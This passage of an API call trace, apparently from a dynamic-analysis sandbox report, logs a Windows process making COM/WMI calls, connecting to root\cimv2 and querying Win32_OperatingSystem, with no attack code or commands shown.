ppvObject=0x1da9ddf8*=0x1d218150) returned 0x0 [0283.342] WbemLocator:IUnknown:Release (This=0x1d218610) returned 0x0 [0283.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218150, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218150) returned 0x0 [0283.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218150, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0283.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218150, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0283.342] WbemLocator:IUnknown:AddRef (This=0x1d218150) returned 0x3 [0283.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218150, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0283.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218150, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0283.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218150, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0283.342] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0283.342] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0283.342] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218150, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0283.343] WbemLocator:IUnknown:Release (This=0x1d218150) returned 0x2 [0283.343] WbemLocator:IUnknown:Release (This=0x1d218150) returned 0x1 [0283.343] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0283.343] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0283.343] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218150, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218150) returned 0x0 [0283.343] WbemLocator:IUnknown:AddRef (This=0x1d218150) returned 0x3 [0283.343] WbemLocator:IUnknown:Release (This=0x1d218150) returned 0x2 [0283.343] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0283.343] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0283.343] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0283.343] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d2183b0) returned 0x0 [0283.343] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d2183b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d28edf0) returned 0x0 [0283.463] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28edf0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b202170) returned 0x0 [0283.464] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b202170, pProxy=0x1d28edf0, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0283.464] WbemLocator:IUnknown:Release (This=0x1b202170) returned 0x1 [0283.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28edf0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b2021b8) returned 0x0 [0283.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28edf0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b202170) returned 0x0 [0283.464] WbemLocator:IClientSecurity:SetBlanket (This=0x1b202170, pProxy=0x1d28edf0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0283.464] WbemLocator:IUnknown:Release (This=0x1b202170) returned 0x2 [0283.464] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0283.464] CoTaskMemFree (pv=0x1d1e6720) [0283.465] WbemLocator:IUnknown:Release (This=0x1d2183b0) returned 0x0 [0283.465] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28edf0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b2021b8) returned 0x0 [0283.465] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0283.480] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0283.492] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28edf0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0283.509] WbemLocator:IUnknown:AddRef (This=0x1b2021b8) returned 0x3 [0283.509] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0283.509] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0283.509] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b202098) returned 0x0 [0283.510] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202098, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0283.510] WbemLocator:IUnknown:Release (This=0x1b202098) returned 0x3 [0283.510] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0283.510] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0283.510] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b202180) returned 0x0 [0283.510] WbemLocator:IRpcOptions:Query (in: This=0x1b202180, pPrx=0x1b2021b8, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0283.510] WbemLocator:IUnknown:Release (This=0x1b202180) returned 0x3 [0283.510] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x2 [0283.510] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0283.510] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0283.510] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d28edf0) returned 0x0 [0283.510] WbemLocator:IUnknown:AddRef (This=0x1d28edf0) returned 0x4 [0283.510] WbemLocator:IUnknown:Release (This=0x1d28edf0) returned 0x3 [0283.510] WbemLocator:IUnknown:Release (This=0x1d28edf0) returned 0x2 [0283.510] SysStringLen (param_1=0x0) returned 0x0 [0283.510] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0283.510] WbemLocator:IUnknown:AddRef (This=0x1b2021b8) returned 0x3 [0283.511] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b2021b8) returned 0x0 [0283.511] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x3 [0283.511] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x2 [0283.511] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0283.511] WbemLocator:IUnknown:AddRef (This=0x1d28edf0) returned 0x3 [0283.511] IWbemServices:ExecQuery (in: This=0x1d28edf0, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b286860) returned 0x0 [0283.535] IUnknown:QueryInterface (in: This=0x1b286860, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b286868) returned 0x0 [0283.536] IClientSecurity:QueryBlanket (in: This=0x1b286868, pProxy=0x1b286860, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0283.536] IUnknown:Release (This=0x1b286868) returned 0x1 [0283.536] IUnknown:QueryInterface (in: This=0x1b286860, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b203398) returned 0x0 [0283.536] IUnknown:QueryInterface (in: This=0x1b286860, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b286868) returned 0x0 [0283.536] IClientSecurity:SetBlanket (This=0x1b286868, pProxy=0x1b286860, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0283.553] IUnknown:Release (This=0x1b286868) returned 0x2 [0283.553] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0283.553] CoTaskMemFree (pv=0x1d1e67b0) [0283.553] IUnknown:QueryInterface (in: This=0x1b286860, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b203398) returned 0x0 [0283.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0283.554] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0283.554] IUnknown:QueryInterface (in: This=0x1b286860, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0283.555] WbemLocator:IUnknown:AddRef (This=0x1b203398) returned 0x3 [0283.555] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0283.555] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0283.555] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b203278) returned 0x0 [0283.555] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b203278, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0283.555] WbemLocator:IUnknown:Release (This=0x1b203278) returned 0x3 [0283.555] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0283.555] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0283.555] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b203360) returned 0x0 [0283.555] WbemLocator:IRpcOptions:Query (in: This=0x1b203360, pPrx=0x1b203398, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0283.555] WbemLocator:IUnknown:Release (This=0x1b203360) returned 0x3 [0283.555] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x2 [0283.555] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0283.555] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0283.555] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b286860) returned 0x0 [0283.555] IUnknown:AddRef (This=0x1b286860) returned 0x4 [0283.556] IUnknown:Release (This=0x1b286860) returned 0x3 [0283.556] IUnknown:Release (This=0x1b286860) returned 0x2 [0283.556] WbemLocator:IUnknown:Release (This=0x1d28edf0) returned 0x2 [0283.556] SysStringLen (param_1=0x0) returned 0x0 [0283.556] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0283.556] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0283.556] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0283.557] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0283.557] IUnknown:AddRef (This=0x1b286860) returned 0x3 [0283.557] IEnumWbemClassObject:Clone (in: This=0x1b286860, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b286080) returned 0x0 [0283.564] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b286088) returned 0x0 [0283.565] IClientSecurity:QueryBlanket (in: This=0x1b286088, pProxy=0x1b286080, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0283.565] IUnknown:Release (This=0x1b286088) returned 0x1 [0283.565] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b203538) returned 0x0 [0283.565] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b286088) returned 0x0 [0283.565] IClientSecurity:SetBlanket (This=0x1b286088, pProxy=0x1b286080, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0283.568] IUnknown:Release (This=0x1b286088) returned 0x2 [0283.568] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x1 [0283.568] CoTaskMemFree (pv=0x1d1e6d20) [0283.568] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b203538) returned 0x0 [0283.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0283.569] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0283.569] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0283.569] WbemLocator:IUnknown:AddRef (This=0x1b203538) returned 0x3 [0283.569] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0283.569] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0283.569] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b203418) returned 0x0 [0283.570] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b203418, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0283.570] WbemLocator:IUnknown:Release (This=0x1b203418) returned 0x3 [0283.570] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0283.570] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0283.570] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, 